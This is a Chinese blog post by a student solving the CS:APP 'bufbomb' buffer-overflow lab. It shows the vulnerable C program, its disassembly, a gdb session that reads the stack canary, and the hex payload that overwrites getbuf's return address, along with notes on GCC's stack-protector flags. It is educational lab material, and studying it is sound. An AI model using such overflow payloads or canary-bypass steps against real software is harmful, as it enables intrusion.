Chinaunix首页 | 论坛 | 博客
  • 博客访问: 60211
  • 博文数量: 40
  • 博客积分: 1607
  • 博客等级: 上尉
  • 技术积分: 382
  • 用 户 组: 普通用户
  • 注册时间: 2009-12-09 16:35
文章分类

全部博文(40)

文章存档

2011年(1)

2010年(30)

2009年(9)

我的朋友

分类: C/C++

2009-12-21 00:25:00

最近在学习《CS:APP》,在第三章有一个叫做bufbomb的练习。
题目给出一个程序的代码,要求设计一个输入的十六进制字符串,使getbuf()对test返回-559038737 (0xdeadbeef)(详细见下文)。

真的跟bufbomb名字一样,在搞这个的过程中,就像是在搞炸弹,一不小心一切都得废掉,重新再来。昨天已经炸了我半个下午了。实在是没能搞定,郁闷之中,参照《CS:APP》写了个网络通信的程序,干到夜里1点钟,还算有点成果。

今天下午,进行了CSAPP的讨论班中,经过讨论发现用以前的那种思路真的暂时是搞不定的,终于在盛剑的帮助下,通过一种号称猥琐流的办法将其搞定。在这里一是拜盛剑的强大功利,二是拜GCC的才智~~!
Orz

这个过程,没有能够直接在编译之后产生的可执行文件正常运行的过程中实现,而是在gdb的调试方式中达到的(这是因为GCC目前所具有的缓冲区溢出保护机制造成的,下文会说关于这种保护机制可参见。)

现在将这个过程的曲折,在此道明。

对下面bufbomb.c的程序,设计一个输入语句进行缓冲区溢出的攻击,代码如下:

//////////////////////bufbomb.c////////////////////////////////////////

/* Bomb program that is solved using a buffer overflow attack */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */

char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((= getchar()) != EOF && c != '\n') {
if (isxdigit(c)) {
int val;
if ('0' <= c && c <= '9')
val = c - '0';
else if ('A' <= c && c <= 'F')
val = c - 'A' + 10;
else
val = c - 'a' + 10;
if (even) {
otherd = val;
even = 0;
} else {
*sp++ = otherd * 16 + val;
even = 1;
}
}
}
*sp++ = '\0';
return dest;
}

/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}

void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */

int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a stable position*/
int offset = (((int) buf) & 0xFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don''t get complaint of unused variable */
test();
return 0;
}


我用的操作系统是ubuntu 9.10,内核版本 2.6.31.16, 编译器 GCC-4.4.1
首先,用GCC编译了这个程序: $ gcc -g bufbomb.c -o bufbomb
之后,使用objdump反汇编这个可执行程序: objdump -d bufbomb>bufbomb.s

根据反汇编的代码:

08048593 <getbuf>:
8048593: 55  push %ebp
8048594: 89 e5  mov %esp,%ebp
8048596: 83 ec 28  sub  $0x28,%esp
8048599: 65 a1 14 00 00 00  mov  %gs:0x14,%eax
804859f: 89 45 f4  mov  %eax,-0xc(%ebp)
80485a2: 31 c0  xor  %eax,%eax
80485a4: 8d 45 e8  lea  -0x18(%ebp),%eax
80485a7: 89 04 24  mov  %eax,(%esp)
80485aa: e8 15 ff ff ff  call  80484c4 <getxs>
80485af: b8 01 00 00 00  mov  $0x1,%eax
80485b4: 8b 55 f4  mov  -0xc(%ebp),%edx
80485b7: 65 33 15 14 00 00 00  xor  %gs:0x14,%edx
80485be: 74 05  je      80485c5 <getbuf+0x32>
80485c0: e8 3b fe ff ff  call    8048400 <__stack_chk_fail@plt>
80485c5: c9  leave 
80485c6: c3  ret 


在此段汇编代码中,我们可以发现如下部分:

8048596: 83 ec 28 sub $0x28,%esp
80485a4: 8d 45 e8 lea -0x18(%ebp),%eax
8048599: 65 a1 14 00 00 00 mov %gs:0x14,%eax

       
这里是说getbuf申请了40个字节的堆栈空间,而C程序说表示的数组buf是从当前基址偏移24个字节开始俄。然而,负责缓冲区溢出的gs验证从偏移12个字节的地址开始。

080485c7 <test>:
80485c7: 55  push  %ebp
80485c8: 89 e5  mov  %esp,%ebp
80485ca: 83 ec 28  sub  $0x28,%esp
80485cd: b8 30 87 04 08  mov  $0x8048730,%eax
80485d2: 89 04 24  mov  %eax,(%esp)
80485d5: e8 16 fe ff ff  call  80483f0 <printf@plt>
80485da: e8 b4 ff ff ff  call  8048593 <getbuf>
80485df: 89 45 f4  mov  %eax,-0xc(%ebp)
80485e2: b8 41 87 04 08  mov  $0x8048741,%eax
80485e7: 8b 55 f4 mov  -0xc(%ebp),%edx
80485ea: 89 54 24 04  mov  %edx,0x4(%esp)
80485ee: 89 04 24  mov  %eax,(%esp)
80485f1: e8 fa fd ff ff  call  80483f0 <printf@plt>
80485f6: c9  leave 
80485f7: c3  ret 


       getbuf()返回之后,调用了printf输出getbuf的返回值。而在以上代码中我们可以看出printf()的调用过程,首先设置参数个数,然后对输出内容压栈,再对输出格式压栈,之后调用printf。

  所以到此已经能够构思出要实现的方式:输入字符串填充缓冲区,对gs:0x14进行验证,再将getbuf的地址写入缓冲区溢出的队列,再将getbuf返回地址改成printf的调用地址,跟上printf的参数设置,最后就是咱们要让他输出的数字。
基本格式如下

任意十二个字节的编码——>%gs:0x14——>任意8个字节的编码——>getbuf栈帧基址——>printf()的地址———>格式参数————>输出内容ef be ad be (十六进制数字序列deadbeef在小端法字节序的机器上的表示)。

具体做法:


Pigsy.Beard@Pigsy.Beard-thinkpad> ~/CSAPP $ gdb bufbomb GNU gdb (GDB) 7.0-ubuntu Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later < This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: < Reading symbols from /home/Pigsy.Beard/CSAPP/bufbomb...done. 

(gdb) b 40 

Breakpoint 1 at 0x80485a4: file bufbomb.c, line 40. 

(gdb) r Starting program: /home/Pigsy.Beard/CSAPP/bufbomb Breakpoint 1, getbuf () at bufbomb.c:41 41 getxs(buf); 

(gdb) x /wa ($ebp-12) 0xbfffef9c: 0x98d4d600 

(gdb) x /wa $ebp 0xbfffefa8: 0xbfffefd8 

(gdb) c Continuing. 

Type Hex string:00 00 00 00 00 00 00 00 00 00 00 00 00 d6 d4 98 00 00 00 00 00 00 00 00 d8 ef ff bf f1 85 04 08 41 87 04 08 ef be ad be 

getbuf returned 0xbeadbeef 

Program exited normally.


在这里00 00 00 00 00 00 00 00 00 00 00 00
 00 d6 d4 98 00 00 00 00 00 00 00 00 d8 ef ff bf f1 85 04 08 41 87 04 08 ef be ad be就是最终输入的字符,其中00 d6 d4 98gs缓冲区溢出检验的随机码,每次运行都会有不同,其余字符基本不变化(目前看来是这样的)。

以上就是成功的过程,之前失败的经历也很多。主要是在网上看到了别人的一些做法,直接套用导致的。他们的好多做法之中,有的直接运行编译之后的可执行文件,输入攻击即可。对此查阅了相关资料发现自GCC-4.1.0之后,就在编译过程中加入了防溢出的随机数验证机制,在%gs:0x14 中保存一个随机数,用此进行比对,验证溢出与否。同时GCC-4.1.0之后还加入了与溢出有关的几个编译选项,以此控制是否添加溢出验证:

-fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码。

-fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。

-fno-stack-protector:禁用堆栈保护。

       当然,是否实现溢出,不仅与编译器有关,还有系统内核的机制有关。在此我也没有搞得特别清楚,不能妄加评点。

      总之,总结本次实验的经验与此,供需要者取用。欢迎探讨~~!

      最后,感慨再一下GCC的力量,再拜谢以下盛剑神力~~!


阅读(3850) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~